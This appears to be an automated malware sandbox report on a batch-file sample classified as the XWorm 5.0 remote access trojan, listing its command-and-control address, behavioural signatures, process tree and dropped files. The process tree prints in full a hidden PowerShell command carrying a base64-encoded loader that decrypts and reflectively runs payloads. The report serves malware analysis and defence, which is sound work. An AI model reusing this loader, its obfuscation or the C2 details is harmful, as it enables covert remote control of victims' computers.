Analysis

  • max time kernel
    49s
  • max time network
    50s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/04/2025, 23:50

Errors

Reason
Machine shutdown

General

  • Target
    04cb.bat
  • Size 93KB
  • Sample250418-3vsxcaysey
  • SHA256 e5269c1e1058ff5344999040ab4d02ad3cc2cb1020a2e1d9de9c62fed5e9123f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 45.88.186.43:7232

Mutex
  • vEWcL28q6YgSznFe

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\04cb.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:6092
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\04cb.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4632
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR5aHV2bCA9IEAnDQokY3hmbWp0cmtkdXNxanRyaWVmeXBqdHJrID0gJGp0cmVudjpVanRyU0VSTkFqdHJNRTskaGp0cm5kZm55anRycHpjdXpqdHJidGR6IGp0cj0gIkM6anRyXFVzZXJqdHJzXCRjeGp0cmZta2R1anRyc3FpZWZqdHJ5cGtcZGp0cndtLmJhanRydCI7aWZqdHIgKFRlc2p0cnQtUGF0anRyaCAkaG5qdHJkZm55cGp0cnpjdXpianRydGR6KSBqdHJ7ICAgIGp0cldyaXRlanRyLUhvc3RqdHIgIkJhdGp0cmNoIGZpanRybGUgZm9qdHJ1bmQ6IGp0ciRobmRmanRybnlwemNqdHJ1emJ0ZGp0cnoiIC1GanRyb3JlZ3JqdHJvdW5kQ2p0cm9sb3IganRyQ3lhbjtqdHIgICAgJGp0cmZpbGVManRyaW5lcyBqdHI9IFtTeWp0cnN0ZW0uanRySU8uRmlqdHJsZV06Omp0clJlYWRBanRybGxMaW5qdHJlcygkaGp0cm5kZm55anRycHpjdXpqdHJidGR6LGp0ciBbU3lzanRydGVtLlRqdHJleHQuRWp0cm5jb2RpanRybmddOjpqdHJVVEY4KWp0cjsgICAganRyZm9yZWFqdHJjaCAoJGp0cmxpbmUganRyaW4gJGZqdHJpbGVMaWp0cm5lcykganRyeyAgICBqdHIgICAgaWp0cmYgKCRsanRyaW5lIC1qdHJtYXRjaGp0ciAnXjo6anRyOiA/KC5qdHIrKSQnKWp0ciB7ICAganRyICAgICBqdHIgICAgV2p0cnJpdGUtanRySG9zdCBqdHIiSW5qZWp0cmN0aW9uanRyIGNvZGVqdHIgZGV0ZWp0cmN0ZWQganRyaW4gdGhqdHJlIGJhdGp0cmNoIGZpanRybGUuIiBqdHItRm9yZWp0cmdyb3VuanRyZENvbG9qdHJyIEN5YWp0cm47ICAganRyICAgICBqdHIgICAgdGp0cnJ5IHsganRyICAgICBqdHIgICAgIGp0ciAgICAganRyJGRlY29qdHJkZWRCeWp0cnRlcyA9anRyIFtTeXNqdHJ0ZW0uQ2p0cm9udmVyanRydF06OkZqdHJyb21CYWp0cnNlNjRTanRydHJpbmdqdHIoJG1hdGp0cmNoZXNbanRyMV0uVHJqdHJpbSgpKWp0cjsgICAganRyICAgICBqdHIgICAgIGp0ciAgJGluanRyamVjdGlqdHJvbkNvZGp0cmUgPSBbanRyU3lzdGVqdHJtLlRleGp0cnQuRW5janRyb2RpbmdqdHJdOjpVbmp0cmljb2RlanRyLkdldFNqdHJ0cmluZ2p0cigkZGVjanRyb2RlZEJqdHJ5dGVzKWp0cjsgICAganRyICAgICBqdHIgICAgIGp0ciAgV3JpanRydGUtSG9qdHJzdCAiSWp0cm5qZWN0anRyaW9uIGNqdHJvZGUgZGp0cmVjb2RlanRyZCBzdWNqdHJjZXNzZmp0cnVsbHkuanRyIiAtRm9qdHJyZWdyb2p0cnVuZENvanRybG9yIEdqdHJyZWVuO2p0ciAgICAganRyICAgICBqdHIgICAgIGp0ciBXcml0anRyZS1Ib3NqdHJ0ICJFeGp0cmVjdXRpanRybmcgaW5qdHJqZWN0aWp0cm9uIGNvanRyZGUuLi5qdHIiIC1Gb2p0cnJlZ3JvanRydW5kQ29qdHJsb3IgWWp0cmVsbG93anRyOyAgICBqdHIgICAgIGp0ciAgICAganRyICBJbnZqdHJva2UtRWp0cnhwcmVzanRyc2lvbiBqdHIkaW5qZWp0cmN0aW9uanRyQ29kZTtqdHIgICAgIGp0ciAgICAganRyICAgICBqdHIgYnJlYWp0cms7ICAganRyICAgICBqdHIgICAgfWp0ciBjYXRjanRyaCB7ICBqdHIgICAgIGp0ciAgICAganRyICAgIFdqdHJyaXRlLWp0ckhvc3QganRyIkVycm9qdHJyIGR1cmp0cmluZyBkanRyZWNvZGlqdHJuZyBvcmp0ciBleGVjanRydXRpbmdqdHIgaW5qZWp0cmN0aW9uanRyIGNvZGVqdHI6ICRfImp0ciAtRm9yanRyZWdyb3VqdHJuZENvbGp0cm9yIFJlanRyZDsgICBqdHIgICAgIGp0ciAgICB9anRyOyAgICBqdHIgICAgfWp0cjsgICAganRyfTt9IGVqdHJsc2Uge2p0ciAgICAganRyIFdyaXRqdHJlLUhvc2p0cnQgIlN5anRyc3RlbSBqdHJFcnJvcmp0cjogQmF0anRyY2ggZmlqdHJsZSBub2p0cnQgZm91anRybmQ6ICRqdHJobmRmbmp0cnlwemN1anRyemJ0ZHpqdHIiIC1Gb2p0cnJlZ3JvanRydW5kQ29qdHJsb3IgUmp0cmVkOyAganRyICBleGlqdHJ0O307Zmp0cnVuY3RpanRyb24gc2dqdHJ1cXdocWp0cnFpd3lranRyc2JuKCRqdHJwYXJhbWp0cl92YXIpanRyewkkYWVqdHJzX3Zhcmp0cj1bU3lzanRydGVtLlNqdHJlY3VyaWp0cnR5LkNyanRyeXB0b2dqdHJyYXBoeWp0ci5BZXNdanRyOjpDcmVqdHJhdGUoKWp0cjsJJGFlanRyc192YXJqdHIuTW9kZWp0cj1bU3lzanRydGVtLlNqdHJlY3VyaWp0cnR5LkNyanRyeXB0b2dqdHJyYXBoeWp0ci5DaXBoanRyZXJNb2RqdHJlXTo6Q2p0ckJDOwkkanRyYWVzX3ZqdHJhci5QYWp0cmRkaW5nanRyPVtTeXNqdHJ0ZW0uU2p0cmVjdXJpanRydHkuQ3JqdHJ5cHRvZ2p0cnJhcGh5anRyLlBhZGRqdHJpbmdNb2p0cmRlXTo6anRyUEtDUzdqdHI7CSRhZWp0cnNfdmFyanRyLktleT1qdHJbU3lzdGp0cmVtLkNvanRybnZlcnRqdHJdOjpGcmp0cm9tQmFzanRyZTY0U3RqdHJyaW5nKGp0cidGbWROanRyUUEyZ2tqdHJzMW1scmp0ckt5S05TanRyUjB2djNqdHI4VFY2Y2p0cnc3cUZ5anRyV0FRZVRqdHJUTVNZPWp0cicpOwkkanRyYWVzX3ZqdHJhci5JVmp0cj1bU3lzanRydGVtLkNqdHJvbnZlcmp0cnRdOjpGanRycm9tQmFqdHJzZTY0U2p0cnRyaW5nanRyKCdTa3RqdHJTbGFySGp0cmNZN0ZXanRyVDNlVGlqdHJjMzFRPWp0cj0nKTsJanRyJGRlY3JqdHJ5cHRvcmp0cl92YXI9anRyJGFlc19qdHJ2YXIuQ2p0cnJlYXRlanRyRGVjcnlqdHJwdG9yKGp0cik7CSRyanRyZXR1cm5qdHJfdmFyPWp0ciRkZWNyanRyeXB0b3JqdHJfdmFyLmp0clRyYW5zanRyZm9ybUZqdHJpbmFsQmp0cmxvY2soanRyJHBhcmFqdHJtX3Zhcmp0ciwgMCwganRyJHBhcmFqdHJtX3Zhcmp0ci5MZW5nanRydGgpOwlqdHIkZGVjcmp0cnlwdG9yanRyX3Zhci5qdHJEaXNwb2p0cnNlKCk7anRyCSRhZXNqdHJfdmFyLmp0ckRpc3BvanRyc2UoKTtqdHIJJHJldGp0cnVybl92anRyYXI7fWZqdHJ1bmN0aWp0cm9uIGVjanRyZnV1cG9qdHJ1c3dqZWp0cmF5ZCgkanRycGFyYW1qdHJfdmFyKWp0cnsJJHhtanRyc3N2ampqdHJidXJtcGp0cmlwaz1OanRyZXctT2JqdHJqZWN0IGp0clN5c3RlanRybS5JTy5qdHJNZW1vcmp0cnlTdHJlanRyYW0oLCRqdHJwYXJhbWp0cl92YXIpanRyOwkkeWpqdHJsbm52eWp0cnFlbWVtanRyY3RtPU5qdHJldy1PYmp0cmplY3QganRyU3lzdGVqdHJtLklPLmp0ck1lbW9yanRyeVN0cmVqdHJhbTsJJGp0cmNxc2V6anRybHN6ZmVqdHJ2YmxkaGp0cj1OZXctanRyT2JqZWNqdHJ0IFN5c2p0cnRlbS5JanRyTy5Db21qdHJwcmVzc2p0cmlvbi5HanRyWmlwU3RqdHJyZWFtKGp0ciR4bXNzanRydmpqYnVqdHJybXBpcGp0cmssIFtJanRyTy5Db21qdHJwcmVzc2p0cmlvbi5DanRyb21wcmVqdHJzc2lvbmp0ck1vZGVdanRyOjpEZWNqdHJvbXByZWp0cnNzKTsJanRyJGNxc2VqdHJ6bHN6Zmp0cmV2YmxkanRyaC5Db3BqdHJ5VG8oJGp0cnlqbG5uanRydnlxZW1qdHJlbWN0bWp0cik7CSRjanRycXNlemxqdHJzemZldmp0cmJsZGguanRyRGlzcG9qdHJzZSgpO2p0cgkkeG1zanRyc3ZqamJqdHJ1cm1waWp0cnBrLkRpanRyc3Bvc2VqdHIoKTsJJGp0cnlqbG5uanRydnlxZW1qdHJlbWN0bWp0ci5EaXNwanRyb3NlKClqdHI7CSR5amp0cmxubnZ5anRycWVtZW1qdHJjdG0uVGp0cm9BcnJhanRyeSgpO31qdHJmdW5jdGp0cmlvbiBkanRyZ3FtaWpqdHJjbmJzeWp0cmRreWMoanRyJHBhcmFqdHJtX3Zhcmp0ciwkcGFyanRyYW0yX3ZqdHJhcil7CWp0ciRhZmVpanRyeWF0bWtqdHJoeXdvZmp0cnI9W1N5anRyc3RlbS5qdHJSZWZsZWp0cmN0aW9uanRyLkFzc2VqdHJtYmx5XWp0cjo6KCdkanRyYW9MJ1tqdHItMS4uLWp0cjRdIC1qanRyb2luICdqdHInKShbYmp0cnl0ZVtdanRyXSRwYXJqdHJhbV92YWp0cnIpOwkkanRyeGhoaW9qdHJ3d2RxeWp0cmdqZmpzanRyPSRhZmVqdHJpeWF0bWp0cmtoeXdvanRyZnIuRW5qdHJ0cnlQb2p0cmludDsJanRyJHhoaGlqdHJvd3dkcWp0cnlnamZqanRycy5JbnZqdHJva2UoJGp0cm51bGwsanRyICRwYXJqdHJhbTJfdmp0cmFyKTt9anRyJGhvc3RqdHIuVUkuUmp0cmF3VUkuanRyV2luZG9qdHJ3VGl0bGp0cmUgPSAkanRyaG5kZm5qdHJ5cHpjdWp0cnpidGR6anRyOyR2c2VqdHJjcmp5ZWp0cmpxdW9panRyaXo9W1NqdHJ5c3RlbWp0ci5JTy5GanRyaWxlXTpqdHI6KCd0eGp0cmVUbGxBanRyZGFlUidqdHJbLTEuLmp0ci0xMV0ganRyLWpvaW5qdHIgJycpKGp0ciRobmRmanRybnlwemNqdHJ1emJ0ZGp0cnopLlNwanRybGl0KFtqdHJFbnZpcmp0cm9ubWVuanRydF06Ok5qdHJld0xpbmp0cmUpO2ZvanRycmVhY2hqdHIgKCRqaGp0cnFkc2N2anRyZ3N3YWFqdHJvdG0gaWp0cm4gJHZzanRyZWNyanlqdHJlanF1b2p0cmlpeikganRyewlpZiBqdHIoJGpocWp0cmRzY3ZnanRyc3dhYW9qdHJ0bS5TdGp0cmFydHNXanRyaXRoKCdqdHI6OiAnKWp0cikJewkJanRyJHR5YWdqdHJ5dnFoY2p0cmhqanVwanRydD0kamhqdHJxZHNjdmp0cmdzd2FhanRyb3RtLlNqdHJ1YnN0cmp0cmluZygzanRyKTsJCWJqdHJyZWFrO2p0cgl9fSR0anRyYWR3eXhqdHJvdnhpeWp0cnNoa3g9anRyW3N0cmlqdHJuZ1tdXWp0ciR0eWFnanRyeXZxaGNqdHJoamp1cGp0cnQuU3BsanRyaXQoJ1xqdHInKTskdmp0cmNucWRqanRydXdzeHdqdHJmaGFnPWp0cmVjZnV1anRycG91c3dqdHJqZWF5ZGp0ciAoc2d1anRycXdocXFqdHJpd3lrc2p0cmJuIChbanRyQ29udmVqdHJydF06Omp0ckZyb21CanRyYXNlNjRqdHJTdHJpbmp0cmcoJHRhanRyZHd5eG9qdHJ2eGl5c2p0cmhreFswanRyXSkpKTtqdHIkbXJicWp0cmNheHJ2anRyb3FlcnFqdHJ5PWVjZmp0cnV1cG91anRyc3dqZWFqdHJ5ZCAoc2p0cmd1cXdoanRycXFpd3lqdHJrc2JuIGp0cihbQ29uanRydmVydF1qdHI6OkZyb2p0cm1CYXNlanRyNjRTdHJqdHJpbmcoJGp0cnRhZHd5anRyeG92eGlqdHJ5c2hreGp0clsxXSkpanRyKTtkZ3FqdHJtaWpjbmp0cmJzeWRranRyeWMgJHZqdHJjbnFkamp0cnV3c3h3anRyZmhhZyBqdHIkbnVsbGp0cjtkZ3FtanRyaWpjbmJqdHJzeWRreWp0cmMgJG1yanRyYnFjYXhqdHJydm9xZWp0cnJxeSAoanRyLFtzdHJqdHJpbmdbXWp0cl0gKCclanRyKicpKTsNCidADQoNCiR1bW13bSA9ICR5aHV2bCAtcmVwbGFjZSAnanRyJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJHVtbXdtDQo=')) | Invoke-Expression"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Drops startup file
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3280
        • C:\Windows\SYSTEM32\shutdown.exe
          shutdown.exe /f /s /t 0
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:844
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa394e055 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:4104

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_ar5mleix.o4d.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ar5mleix.o4d.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        dwm.bat

        • Path C:\Users\Admin\dwm.bat
        • Size 93KB
        • SHA256 e5269c1e1058ff5344999040ab4d02ad3cc2cb1020a2e1d9de9c62fed5e9123f
        • MD5 SHA1 SHA512 SSDEEP

        memory/3280-19-0x0000023342BA0000-0x0000023342BAC000-memory.dmp

        memory/3280-18-0x0000023342B90000-0x0000023342B98000-memory.dmp

        memory/3280-14-0x00007FF815770000-0x00007FF816231000-memory.dmp

        memory/3280-8-0x00000233406E0000-0x0000023340702000-memory.dmp

        memory/3280-16-0x00007FF815770000-0x00007FF816231000-memory.dmp

        memory/3280-17-0x00007FF815770000-0x00007FF816231000-memory.dmp

        memory/3280-2-0x00007FF815773000-0x00007FF815775000-memory.dmp

        memory/3280-13-0x00007FF815770000-0x00007FF816231000-memory.dmp

        memory/3280-21-0x0000023342BD0000-0x0000023342BDE000-memory.dmp

        memory/3280-22-0x00007FF815773000-0x00007FF815775000-memory.dmp

        memory/3280-23-0x00007FF815770000-0x00007FF816231000-memory.dmp

        memory/3280-24-0x0000023340710000-0x000002334071C000-memory.dmp

        memory/3280-25-0x0000023343530000-0x0000023343A58000-memory.dmp

        memory/3280-26-0x0000023342EB0000-0x0000023342EBC000-memory.dmp

        memory/3280-27-0x00007FF815770000-0x00007FF816231000-memory.dmp